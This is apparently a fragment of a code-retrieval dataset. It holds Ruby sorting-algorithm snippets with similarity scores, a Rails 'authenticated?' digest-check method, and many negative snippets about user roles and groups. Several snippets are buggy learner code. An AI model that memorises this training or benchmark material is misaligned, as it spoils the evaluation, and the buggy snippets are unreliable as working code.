"def countSwaps(a)\n # p a\n swaps = 0\n alen = a.length\n (alen-2).downto(0) do |h|\n sorted = true\n 0.upto(h) do |i|\n if a[i] > a[i+1]\n a[i],a[i+1]=a[i+1],a[i]\n swaps +=1\n sorted = false\n end\n end\n break if sorted\n end\n\n puts \"Array is sorted in #{swaps} swaps.\"\n puts \"First Element: #{a[0]}\"\n puts \"Last Element: #{a[-1]}\"\nend",
"def bubble_sort(arr)\n n = arr.length\n #ln 7, array length is my set of four numbers\n\n loop do\n #[2, 42, 22, 02]\n #[42, 2, 22, 02]\n #[42, 22, 2, 02]\n #[42, 22, 02, 2]\n\n swapped = false\n\n (n-1).times do |i|\n if arr[i] > arr [i + 1]\n arr [i], arr[i +1] = arr [i +1], arr[i]\n swapped = true\n end\n end\n\n #ln18 iterator variable is i, i +1 is the next number beside it \n #ln 19 is the rule to swap, we do this by equalling the values to the opposite one, that is how we swap \n #when accessing something within an element it needs an index\n\n break if not swapped \n #break will break us out of the loop but only if swapped is not true\n end\n\n arr\n\nend",
"def sort(array)\n for index in (1...array.size)\n stored = array[index]\n position = index\n while position > 0 && array[position - 1] > stored\n array[position] = array[position - 1]\n position -= 1\n end\n array[position] = stored\n end\n array\nend",
"def bubble_sort_by(array)\n swapped = true\n while swapped\n swapped = false\n (array.length - 1).times do |i|\n next unless yield(array[i], array[i + 1])\n\n tmp = array[i]\n array[i] = array[i + 1]\n array[i + 1] = tmp\n swapped = true\n end\n end\n array\nend",
"def correct_colors(temp_array)\n temp_player_input = temp_array[1]\n temp_secret_code = temp_array[0]\n temp_player_input.each do |item|\n next unless temp_secret_code.include?(item)\n\n @matches.shift\n @matches << 'white'\n temp_secret_code[temp_secret_code.index(item)] = 'O'\n end\n end",
"def sort_array array\n sorted=[]\n a=0\n b=0\n until a==(array.length-1)||b==(array.length)\n if array[a] <= array[b]\n b+=1\n else\n a+=1\n b=0\n end\n end\n sorted.push array[a]\n array.delete(array[a])\n \n while true\n if array.length==1\n sorted.push array[0]\n break\n else\n a=0\n b=0\n until a==(array.length-1)||b==(array.length)\n if array[a]<=array[b]\n b+=1\n else\n a+=1\n b=0\n end\n end\n sorted.push array[a]\n array.delete_at(a)\n end\n end\n sorted\nend",
"def selection_sort(arr)\n\t# start with the first element in the array.\n\t# starting_index will increment 1 every time the loop runs\n\tstarting_index = 0\n\t# until you get to the end of the index...\n\tuntil starting_index > (arr.length - 1)\n\t\t# smallest_index will be at the starting index\n\t\tsmallest_index = starting_index\n\t\t# the variable compare_index will be equal to the starting_index + 1\n\t\tcompare_index = starting_index + 1\n\t\t# take the length of the array from the starting index (will only include unsorted data)\n\t\tarr[starting_index..(arr.length - 2)].length.times do\n\t\t\t# if the value of compare_index is smaller than the smallest_index, the smallest_index becomes the compare index\n\t\t\tif arr[compare_index] <= arr[smallest_index]\n\t\t\t\tsmallest_index = compare_index\n\t\t\tend\n\t\t\t# compare_index will then increment in relation to the incrementaiton of the starting_index\n\t\t\tcompare_index += 1\n\t\tend\n\t\t#starting_index and smallest_index swap\n\t\tarr[starting_index], arr[smallest_index] = arr[smallest_index], arr[starting_index]\n\t\t# starting_index increments by 1\n\t\tstarting_index += 1\n\tend\nend",
"def sorting(array)\n #set a variable equal to the length of the array\n n = array.length\n\n #create main loop and set a variable equal to false. This variable will break the loop once all the swaps have been made\n loop do\n swapped = false\n\n #create a times loop\n (n-1).times do |i|\n if array[i] > array[i+1]\n switch = array[i+1] #store element to be swapped in a temporary variable\n array[i+1] = array[i]\n array[i] = switch\n swapped = true #if a swap happens then break variable becomes true. Either way, the .times loop will happen again until i reaches n-1\n end\n end\n\n #once .times loop ends\n break if !swapped\n end\n\n array\nend",
"def bubble_sort_by(arr)\n loop do\n swapped = false; index = 0\n while index < arr.length - 1\n first = arr[index]; second = arr[index + 1]; swap = yield(first, second)\n (swap_var = arr[index]; arr[index] = arr[index + 1];\n arr[index + 1] = swap_var; swapped = true) if swap.positive?; index += 1\n end\n break if swapped == false\n end\n arr\nend",
"def bubble_sort(array)\ntemp = nil\n\tfor n in 0..array.length-1\n\t\tswapped = false\n\t\tfor i in 0...array.length-1\n\t\t\tif array[i] < array[i+1]\n\t\t\t\tarray\n\t\t\telse \n\t\t\t\ttemp = array[i]\n\t\t\t\tarray[i] = array[i+1]\n\t\t\t\tarray[i+1] = temp\n\t\t\t\tarray\n\t\t\t\tswapped = true\n\t\t\tend\n\t\tend\n\t\tif !swapped\n\t\tbreak\n\t\tend\n\tend\n\t\tarray\nend",
"def possible_bipartition(dislikes)\n return true if dislikes.length <= 2 \n #we use a queue to keep track of all the neighbors once we visit a node\n queue = []\n dog_types = []\n total_dogs = dislikes.length \n\n #we can start by putting the first node in the queue\n #it doesnt matter which node we use to start \n #we can just put in 0 to our queue, which indicates the index of our first start dog \n queue << 0\n\n # So what if one of the dislikes arrays are empty? \n # That means the nodes are isolated & can go anywhere \n total_dogs.times do |index|\n if !dog_types[index] \n queue.push(index)\n dog_types[index] = \"floofi\"\n end \n end \n \n #then we color it (the position in the array represents which dog it is, and the value at that position represents the type of dog)\n #this way, we can also use our dog types array as our visited!!!\n dog_types[0] = \"floofi\"\n\n #we're just pulling things off the queue here while theres still things on the queue \n #nodes get added to the queue that are neighbors \n while !queue.empty?\n #we take whats at the front of the queue and assign that to our current dog \n current_dog = queue.shift \n\n #this is how we access the list of neighbors a current dog has \n neighbors = dislikes[current_dog]\n\n #we want to access the values stored inside of the neighbors array\n neighbors.each do |dog|\n #we want to only look at dogs that havent been ALREADY visited\n if !dog_types[dog] \n #we wanna color these doggos the opposite based on the current dogs color \n #& stick em in the queue so we can look at THEIR neighbors later\n dog_types[dog] = (dog_types[current_dog] == \"spotti\") ? \"floofi\" : \"spotti\"\n queue << dog \n elsif dog_types[dog] == dog_types[current_dog] \n return false\n #if we wind up here, the dog has been visited before\n #that also means the dog is colored so lets check it ^ \n end \n end\n end\n #when we exit this neighbors loop that means we've finished checking all neighbors, which measure if a graph is bipartite \n return true\nend",
"def sorter(array)\n loop do\n switched = false\n for i in 0...array.length - 1\n if array[i].downcase > array[i + 1].downcase\n array[i], array[i + 1] = array[i + 1], array[i]\n switched = true\n end\n end\n break if !switched\n end\n array\nend",
"def sort_array(arr)\n \n odds = arr.select { |num| num. odd? }.sort\n evens = arr.select{ |num| num.even? }.sort.reverse\n \n arr.map! do |num|\n if num.odd?\n odds.shift\n else\n evens.shift\n end\n end\n \nend",
"def solution(a)\n # write your code in Ruby 2.2\n a.sort!\n #use two pointers and do slidding window technique\n pointer_a = 0\n pointer_b = 1\n while(pointer_b < a.size)\n if a[pointer_a] == a[pointer_b]\n a.delete(a[pointer_a])\n else\n pointer_a += 1\n pointer_b += 1\n end\n end\n return a[0]\nend",
"def bubble_sort!(array)\n loop do\n swapped = false\n\n array.each_with_index do |element, index|\n next_index = index + 1\n next_element = array[next_index]\n\n next unless next_element\n\n if element > next_element\n array[index] = next_element\n array[next_index] = element\n \n swapped = true\n end\n end\n\n break if swapped == false\n end\n \n array\nend",
"def selection_sort(array)\n (0...array.length).each do |i|\n min = i\n ((i + 1)...array.length).each do |j|\n array[j], array[min] = array[min], array[j] if array[j] < array[min]\n end\n end\n array\nend",
"def bubble_sort_by array\n\ti=0\n\tarray.length.times do\n\t\twhile i<array.length-1\t\t\n\t\t\tarray[i],array[i+1]=array[i+1],array[i] if yield(array[i],array[i+1])>0\n\t\t\ti+=1\n\t\tend\n\t\ti=0\n\tend\n\tarray\nend",
"def bubble_sort_by(array)\n arr = array.length - 1\n loop do\n swap = false\n (0...arr).each do |i|\n n_one = array[i]\n n_two = array[i + 1]\n if yield(n_one, n_two).positive?\n array[i], array[i + 1] = array[i + 1], array[i]\n swap = true\n end\n end\n break if swap == false\n end\n array\nend",
"def selection_sort(arr)\n\tarr.length.times do |swap_with_me|\n\t\tselector = swap_with_me\n\n\t\tswap_with_me.upto(arr.length - 1) do |i|\n\t\t\tif arr[i] < arr[selector]\n\t\t\t\tselector = i\n\t\t\tend\n\t\tend\n\n\t\tsmallest = arr[selector]\n\n\t\tarr[selector] = arr[swap_with_me]\n\t\tarr[swap_with_me] = smallest\n\tend\n\n\treturn arr\nend",
"def bubble_sort(array)\n\n\t swaped = false \n\t array[0...-1].each_with_index do |element, i|\n\t \t if element > array[i+1]\n\t \t\tarray[i], array[i+1] = array[i+1], array[i]\n\t \t\tswaped = true\n\t \t end\n\t end \n\n\t bubble_sort(array) if swaped\nend",
"def bubble_sort(array)\n (array.size).downto(0) do |stop_index|\n swapped = false\n\n (1...stop_index).each do |index|\n if array[index] < array[index - 1]\n array[index - 1], array[index] = array[index], array[index - 1]\n swapped = true\n end\n end\n\n break unless swapped\n end\n\n array\nend",
"def bubble_sort!(arr)\n loop do\n swapped = false\n last_element_to_compare_index = arr.size - 2\n\n 0.upto(last_element_to_compare_index) do |idx|\n if (arr[idx] <=> arr[idx + 1]) == 1\n arr[idx], arr[idx + 1] = arr[idx + 1], arr[idx]\n swapped = true\n end\n end\n\n break unless swapped\n\n last_element_to_compare_index -= 1\n end\n arr\nend",
"def insertionsort! arr\n (1..arr.size - 1).each do |i|\n j = i\n while j > 0 && arr[j] < arr[j - 1] do\n arr[j], arr[j - 1] = arr[j - 1], arr[j]\n j -= 1\n end\n end\n arr\nend",
"def shell_sort(a)\n i = 0\n j = 0\n size = a.length\n increment = size / 2\n temp = 0\n \n while increment > 0\n i = increment\n while i<size\n j = i\n temp = a[i]\n while j>=increment and a[j-increment]>temp\n a[j] = a[j-increment]\n j = j-increment\n end\n a[j] = temp\n i+=1\n end\n if increment == 2\n increment = 1\n else\n increment = (increment/2).to_i\n end\n end\n return a\nend",
"def selection_sort(arr)\n# set a variable called mark to 0\nmark = 0\n# make sure that we check every number\nwhile mark <= arr.length\n\t# set an index marker to 0\n\ti = 0\n\t# go through every item in the array\n\tarr.each do |num|\n\t# set the variable var to the value of the array at index position i\n\tvar = arr[i]\n\t\t# when the value of var is greater than the value of num\n\t\tif var > num\n\t\t\t# set the variable low to the value of num\n\t\t\tlow = num\n\t\t\t# set the variable var to the value of num\n\t\t\tvar = num\n\t\tend\n\t\t# increment the value of the variable i by 1\n\t\ti += 1\n\tend\n\tswap = arr[i]\n\tarr[i] = low\nend\n\treturn arr\nend",
"def shell_sort(arr)\n gap = arr.size / 2\n until gap >= 1\n (0...gap).each do |i|\n j = i\n while j < arr.size\n arr[j], arr[j+gap] = arr[j+gap], arr[j] if arr[j] > arr[j+gap]\n j = j + gap\n end\n end\n gap, mod = gap.divmod(2)\n gap = mod == 0 ? gap + 1 : gap\n end\n arr\nend",
"def bubble_sort_by(arry)\n\t\tn = arry.length\n\n\t\tuntil n == 0\n\t\t\tnew_n = 0\n\t\t\tfor i in 1..(n-1)\n\t\t\t\tif yield(arry[i-1], arry[i])\n\t\t\t\t\tarry[i-1], arry[i] = arry[i], arry[i-1]\n\t\t\t\t\tnew_n = i\n\t\t\t\tend\n\t\t\tend\n\t\t\tn = new_n\n\t\tend\n\t\treturn arry\n\tend",
"def forward_pass(array, compare)\n swapped = false\n 0.upto(array.length - 2) do |i|\n if compare.call(array[i], array[i + 1]) > 0\n array[i], array[i + 1] = array[i + 1], array[i]\n swapped = true\n end\n end\n [array, swapped]\nend",
"def bubble_sort(num_array)\n num_array.length.times do\n num_array.each_with_index do |num, i|\n unless num_array[i+1] == nil\n if num > num_array[i+1]\n num_array[i], num_array[i+1] = num_array[i+1], num_array[i]\n end\n end\n end\n end\n num_array\nend",
"def bubble_sort(array)\n fixed_position = array.length\n while true\n left_elem_index = 0\n while true\n #compare the left and the right\n left = array[left_elem_index]\n right = array[left_elem_index +1]\n if left > right then\n array[left_elem_index] = right\n array[left_elem_index + 1] = left\n left_elem_index +=1\n else\n left_elem_index +=1\n end\n break if left_elem_index +1 == fixed_position\n end\n fixed_position -=1\n break if left_elem_index ==1\n end\n return array\nend",
"def bubble_sort!(array)\n loop do\n sorted = true\n array.each_index do |index|\n if (array[index] <=> array[index + 1]) == 1\n array[index], array[index + 1] = array[index + 1], array[index]\n sorted = false\n end\n end\n break if sorted\n end\n array\nend",
"def selection_sort(array)\n 0.upto(array.size-2) do |i|\n min = i\n i.upto(array.size - 1) do |j|\n if array[j] < array[min]\n min = j\n end\n end\n array[i], array[min] = array[min], array[i]\n end\n array\nend",
"def selection_sort(arr)\n\ti = 0\n\twhile i < arr.length\n\t\tnext_num = arr[i]\n\t\tj = i\n\t\twhile j < arr.length\n\t\t\tif arr[j] < arr[i]\n\t\t\t\tarr = swap(arr, i, j)\n\t\t\tend\n\t\t\tj += 1\n\t\tend\n\t\ti += 1\n\tend\n\tarr\nend"
] |
[
"0.79806346",
"0.711194",
"0.6523694",
"0.6167179",
"0.61610234",
"0.60550654",
"0.6015937",
"0.5930779",
"0.5900443",
"0.58585835",
"0.58548653",
"0.58542633",
"0.5813449",
"0.5801417",
"0.5764387",
"0.57517904",
"0.57509303",
"0.57396793",
"0.5736663",
"0.5730018",
"0.5716404",
"0.57107997",
"0.56926936",
"0.5686884",
"0.5683097",
"0.5681243",
"0.56604993",
"0.56422025",
"0.56380457",
"0.56373644",
"0.562993",
"0.56282675",
"0.56104505",
"0.56011707",
"0.5601033",
"0.55999774",
"0.55973977",
"0.5595693",
"0.55777955",
"0.5560981",
"0.5555694",
"0.55504626",
"0.5547504",
"0.55395263",
"0.5531351",
"0.5521003",
"0.55175894",
"0.55150336",
"0.55130106",
"0.5509505",
"0.550827",
"0.550544",
"0.5501691",
"0.5491999",
"0.548726",
"0.5482844",
"0.5479575",
"0.54775727",
"0.5465707",
"0.546484",
"0.5460424",
"0.5457256",
"0.5455775",
"0.5447202",
"0.54447883",
"0.54447246",
"0.5444418",
"0.5439187",
"0.5433684",
"0.5433545",
"0.5428943",
"0.5425716",
"0.54250664",
"0.5423411",
"0.54222697",
"0.5420239",
"0.54061204",
"0.54055977",
"0.5403985",
"0.54015",
"0.5401446",
"0.5396069",
"0.538489",
"0.53822803",
"0.5381434",
"0.537985",
"0.53793854",
"0.5379056",
"0.5371892",
"0.53712237",
"0.53670216",
"0.5364189",
"0.53608423",
"0.53570247",
"0.53566724",
"0.53562987",
"0.53538775",
"0.5352503",
"0.5347278",
"0.5344256",
"0.5340108"
] |
0.0
|
-1
|
Examples: account.authenticated?(:confirmation, 'confirmation_token') account.authenticated?(:remember, 'remember_token') account.authenticated?(:reset_password, 'reset_password_token')
|
def authenticated?(attribute, token)
digest = self.try("#{attribute}_digest")
return false if digest.nil?
::BCrypt::Password.new(digest) == token
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def user_authenticated?\n basic_authenticated? || token_authenticated?\n end",
"def authenticated?\n true\n end",
"def is_authenticated?\n end",
"def authenticated?\n authentication.authenticated?\n end",
"def authenticated?\n @authenticated\n end",
"def authenticated?\n @authenticated\n end",
"def authenticated?\n !!@authenticated\n end",
"def authenticated?(token)\n hex_encrypt(token) == remember_token\n end",
"def authenticated?\n authentication.values.all?\n end",
"def authenticated?\n authentication.values.all?\n end",
"def authenticated?\n authentication.values.all?\n end",
"def authenticated?\n @authenticated || false\n end",
"def authenticated?(*args)\n warden.authenticated?(*args)\n end",
"def active_for_authentication?\n confirmed? || confirmation_period_valid?\n end",
"def authenticated?\n instance_variable_get(:@authenticated)\n end",
"def active_for_authentication?; end",
"def active_for_authentication?; end",
"def authenticated?(attribute, token)\n \n # metaprogramming - send method, which lets us call a method with a \n # name of our choice by “sending a message” to a given object \n digest = send(\"#{attribute}_digest\")\n# uses string interpolation\n \n# to pass test about user logging out in one browser but not \n# the other browser. i think it's because the password will now be nil\n return false if remember_digest.nil?\n# return guarantees that the rest of method gets ignored if digest is nil\n \n # verify that a given remember token matches the user’s remember digest\n # BCrypt::Password.new(remember_digest).is_password?(remember_token)\n BCrypt::Password.new(digest).is_password?(token)\n end",
"def authenticated?\n false\n end",
"def authenticated?\n\t\treturn @authenticated ? true : false\n\tend",
"def authenticated?\n !account.nil?\n end",
"def signed_in?\n authenticated?\n end",
"def authenticated?(*args)\n warden.authenticated?(*args)\n end",
"def authenticated?(*args)\n warden.authenticated?(*args)\n end",
"def authenticated?\n !!session[:user]\n end",
"def authenticated?\n !anonymous?\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(activation_digest).is_password?(remember_token)\n end",
"def application_authenticated?\n !!application_authentication\n end",
"def authenticated? remember_token\n\t\tBCrypt::Password.new(remember_digest).is_password?(remember_token)\n\tend",
"def authenticated?\n !expired? && respond_to?(:access_token) && access_token.present?\n end",
"def authenticated?(config)\n config.has_key?(:username) && config.has_key?(:password)\n end",
"def authentication_successful?\n current_user.present?\n end",
"def authenticated?(token)\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(token)\n end",
"def authenticated?(token)\n return false if (!remember_digest)\n BCrypt::Password.new(remember_digest).is_password?(token)\n end",
"def authenticated?\n !!@access_token\n end",
"def authenticated?(remember_token)\r\n \tBCrypt::Password.new(remember_digest).is_password?(remember_token) \r\n end",
"def authenticated?\n false if @password.nil?\n @client.authenticated?(@username, @password)\n end",
"def token_authenticated?\n !!@access_token\n end",
"def token_authenticated?\n !!@access_token\n end",
"def active_for_authentication?\n self.active?\n end",
"def authenticated?(remember_token)\n if remember_digest.nil?\n false\n else\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end\n end",
"def token_authenticated?\n !!access_token\n end",
"def is_authenticated?\n @authenticated_user = instance_eval &AbstractAuth.invoke(:authenticated_user)\n @is_admin = instance_eval &AbstractAuth.invoke(:is_admin)\n # Uncomment the following line to test out admin interface\n #@is_admin = true\n @is_editor = instance_eval &AbstractAuth.invoke(:is_editor)\n end",
"def logged_in?\n authorized?\n end",
"def authenticated?(remember_token)\n puts \"remember token: #{remember_token}, remember digest: #{remember_digest}\"\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def user_is_authenticated\r\n !!current_user\r\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n\t\tBCrypt::Password.new(remember_digest).is_password?(remember_token)\n\tend",
"def authenticated?(remember_token)\n\t\tBCrypt::Password.new(remember_digest).is_password?(remember_token)\n\tend",
"def authenticated?(remember_token)\nBCrypt::Password.new(remember_digest).is_password?(remember_token)\nend",
"def authenticated?\n !!(session['cas'] && session['cas']['user'])\n end",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n session[:access_token]\nend",
"def authenticated?\n valid? && !get_authenticated_user.nil?\n end",
"def authenticated?(attribute, token)\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n begin\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n rescue\n log_out\n end\n end",
"def authenticated?\n @auth_token =~ /^.*$/\n end",
"def authenticated?(remember_token)\n\t\t#if logged in from multiple browsers, and logged out from 1, this cud be null\n\t\treturn false if remember_digest.nil?\n\t\t#hashes the token and compares it with digest\n\t\tBCrypt::Password.new(remember_digest).is_password?(remember_token)# you can use == also in place of is_password\n\tend",
"def authorized?\n\t\t\t@authenticated\n\t\tend",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def logged_in?\n account_signed_in?\n end",
"def authenticated?(attribue, token)\n digest = send(\"#{attribute}_digest\")\n return false if digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated? remember_token\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password? remember_token\n end",
"def authenticated?(remember_token)\n \treturn false if remember_digest.nil?\n \tBCrypt::Password.new(remember_digest).is_password?(remember_token)\n \tend",
"def authenticated?(remember_token)\n # returns false if the remember digest is nil, which emphasizes the rest of the method gets ignored\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\nend",
"def authenticates?\n !!@authenticates\n end",
"def authenticated?(ctx)\n ctx[:server][:authenticated] && !ctx[:server][:authenticated].to_s.empty?\n end",
"def authenticated?(ctx)\n ctx[:server][:authenticated] && !ctx[:server][:authenticated].to_s.empty?\n end",
"def authenticated?(remember_token)\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(&block)\n if block\n observeAuthEventWithBlock(block)\n else\n !!authData\n end\n end",
"def authenticated? remember_token\n return false unless remember_digest\n\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n return false if remember_digest.nil? \n BCrypt::Password.new(remember_digest).is_password?(remember_token)\nend",
"def valid_for_authentication?; end",
"def valid_for_authentication?; end",
"def authenticated?(remember_token)\n\t digest = send(\"remember_digest\")\n\t return false if digest.nil?\n\t BCrypt::Password.new(digest).is_password?(remember_token)\n \tend",
"def confirmed_for_authentication?\n !confirmation_required? || confirmed? || confirmation_period_valid?\n end",
"def application_authenticated?\n !!application_authentication\n end",
"def authenticated? (remember_token)\n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n return false if remember_digest.nil?\n\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n\n end",
"def authenticated? (remember_token) \n return false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def active_for_authentication?\n # logger.debug self.to_yaml\n super && account_active?\n end",
"def authenticated?\n session['cas'] && session['cas']['user']\n end",
"def authenticated?(remember_token)\n \treturn false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n \treturn false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n \treturn false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end",
"def authenticated?(remember_token)\n \treturn false if remember_digest.nil?\n BCrypt::Password.new(remember_digest).is_password?(remember_token)\n end"
] |
[
"0.75272405",
"0.7406296",
"0.7386397",
"0.73764074",
"0.73453337",
"0.73453337",
"0.7252854",
"0.7242171",
"0.7122058",
"0.7122058",
"0.7122058",
"0.7042444",
"0.70382786",
"0.70010877",
"0.69914687",
"0.6961681",
"0.6961681",
"0.6954723",
"0.6925081",
"0.6917218",
"0.69081044",
"0.6899472",
"0.6896294",
"0.6896294",
"0.6889205",
"0.68696904",
"0.6865788",
"0.68521446",
"0.6846757",
"0.68336165",
"0.6827236",
"0.6809371",
"0.68080294",
"0.67954445",
"0.67909026",
"0.6778932",
"0.67751515",
"0.67740333",
"0.67740333",
"0.6756082",
"0.67551905",
"0.67527705",
"0.6736693",
"0.6714506",
"0.67072034",
"0.6705516",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.6704415",
"0.67040396",
"0.67040396",
"0.6698718",
"0.6694162",
"0.66845006",
"0.66845006",
"0.66845006",
"0.66845006",
"0.66845006",
"0.6671548",
"0.6663238",
"0.6650646",
"0.6636133",
"0.6632489",
"0.6631287",
"0.66218114",
"0.6619946",
"0.66154355",
"0.6609415",
"0.6604593",
"0.6599355",
"0.65980613",
"0.6597848",
"0.6597848",
"0.65962845",
"0.65924704",
"0.6588204",
"0.65846604",
"0.65838206",
"0.6580303",
"0.6580303",
"0.6575022",
"0.6569392",
"0.65693223",
"0.6540252",
"0.65357435",
"0.65344495",
"0.65222514",
"0.65135705",
"0.65129733",
"0.65129733",
"0.65129733",
"0.65129733"
] |
0.0
|
-1
|
return all roles related with self and self account_groups
|
def all_roles
_role_ids_ = (account_groups.map(&:role_ids) + role_ids).flatten.uniq
Role.where(id: _role_ids_)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def all_roles\n result = Array.new\n \n# for role in self.roles\n# result << role.ancestors_and_self\n# end\n \n for group in self.groups\n result << group.all_roles\n end\n \n result.flatten!\n result.uniq!\n \n return result\n end",
"def roles\n groups.find(:all, :conditions => {:context => Group::GroupType::ROLE})\n end",
"def roles\n Role.group_roles_from_cache(self)\n end",
"def roles_to_resources\n Role\n .where.not(resource_id: current_shared_collection_id)\n .joins(:groups_roles)\n .where(GroupsRole.arel_table[:group_id].in(id))\n end",
"def list\n @roles = Role.all(:include => [:groups, :users])\n end",
"def roles(force_reload = false)\n unless force_reload\n return @role_list unless @role_list.nil? \n end\n return nil unless self.id\n \n @role_list = GroupRoleList.new({:group_id => self.id})\n return @role_list\n end",
"def group_roles\n hyrax_groups.map(&:roles).flatten.uniq\n end",
"def roles\n Jak.role_klass.where(id: grants.pluck(:role_ids).compact.flatten)\n end",
"def groups\n roles\n end",
"def the_roles\n roles.each.map{|_r| User::ROLES[_r.to_sym] }\n end",
"def role_map\n return @role_map if defined? @role_map\n base_conditions = '((assignments.subject_type = \"User\" AND assignments.subject_id = ?) OR (assignments.subject_type = \"Group\" AND assignments.subject_id IN (?)))' \n base_parameters = [self.id, groups.collect(&:id)]\n \n base_roles = Assignment.find(:all, :select => :role_id, :conditions => [base_conditions, *base_parameters]).collect(&:role_id)\n\n link_hash = Hash.new { |h,k| h[k] = []}\n child_hash = Hash.new { |h,k| h[k] = []}\n \n to_find = base_roles.dup\n all_roles = []\n until to_find.empty?\n all_roles |= to_find\n links = RoleLink.find_all_by_parent_id(to_find)\n to_find.clear\n \n links.each do |link| \n parent, child = link.parent_id, link.child_id\n link_hash[parent] << child\n to_find << child unless link_hash.has_key?(child)\n end\n end\n\n @role_map = RoleMap.new(Role.find_all_by_id(all_roles), link_hash)\n end",
"def role_groups\n raise \"#{subject.inspect} should have a #{role_groups_list_meth} method\" if !subject.respond_to?(role_groups_list_meth)\n subj_role_groups = subject.send(role_groups_list_meth)\n return [] if subj_role_groups.blank?\n subj_role_groups.flatten\n end",
"def padma_roles_in(account_name)\n p = self.padma\n if p && p.roles\n p.roles.select{|r|r['account_name'] == account_name}.map{|r|r['name']}\n end\n end",
"def roles\n roles_from_users\n end",
"def roles\n ::Syncano::QueryBuilder.new(self, ::Syncano::Resources::Role)\n end",
"def list\n rolegroup_subject.rolegroup_list\n end",
"def role_groups\n return [] if !subject.respond_to?(role_groups_list_meth) || role_groups_of(subject).blank?\n role_groups_of(subject).flatten\n end",
"def all_users\r\n result = []\r\n\r\n self.descendants_and_self.each do |role|\r\n if role == self\r\n result << role.users \r\n else\r\n result << role.all_users\r\n end\r\n end\r\n self.all_groups.each { |group| result << group.all_users }\r\n result.flatten!\r\n result.uniq!\r\n return result\r\n end",
"def role_list \n @role_list ||= begin\n (store.display_roles | group_store.display_roles)\n end\n end",
"def roles\n self.class.roles.map do |name|\n __send__(name)\n end\n end",
"def associated_roles\n data[:associated_roles]\n end",
"def associated_roles\n data[:associated_roles]\n end",
"def roles_from_users\n Role.for_resource(self)\n end",
"def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def pass_on_roles\n r = self.all_roles\n if self.has_access?(:superadmin)\n r = Role.get(Access.roles(:all_users))\n elsif self.has_access?(:admin)\n r = Role.get(Access.roles(:admin_roles))\n elsif self.has_access?(:centeradm)\n r = Role.get(Access.roles(:center_users))\n end\n return (r.is_a?(Array) ? r : [r])\n end",
"def rolegroup_list\n @rolegroup_list ||= begin\n group_store.display_rolegroups\n end\n end",
"def hyrax_groups\n roles.where(name: 'member', resource_type: 'Hyrax::Group').map(&:resource).uniq\n end",
"def roles\n self.dig_for_array(\"roles\")\n end",
"def roles\n roles_as_editor + roles_as_reviewer + role_as_admin\n end",
"def roles\n @roles = Role.order(\"name\")\n\t@rights = Right.order(\"name\").map {|r| [r.name, r.id] }\n end",
"def role_memberships\n if self.member?\n self.memberships\n else\n self.role_clubs.map{ |c| c.memberships }.flatten\n end\n end",
"def get_roles\n Role.all.select {|role| role.character == self}\n end",
"def accounts\n Management::Account.all(self)\n end",
"def check_role_group\n @roles = Role.role_group.accessible_by(current_ability)\n end",
"def super_and_admin_roles\n return roles_include(roles.keys[0..1])\n end",
"def roles\n Role.joins(store_roles: [:products, :store]).where(\"products.id = ?\", id).group_by(\"stores.name\")\n end",
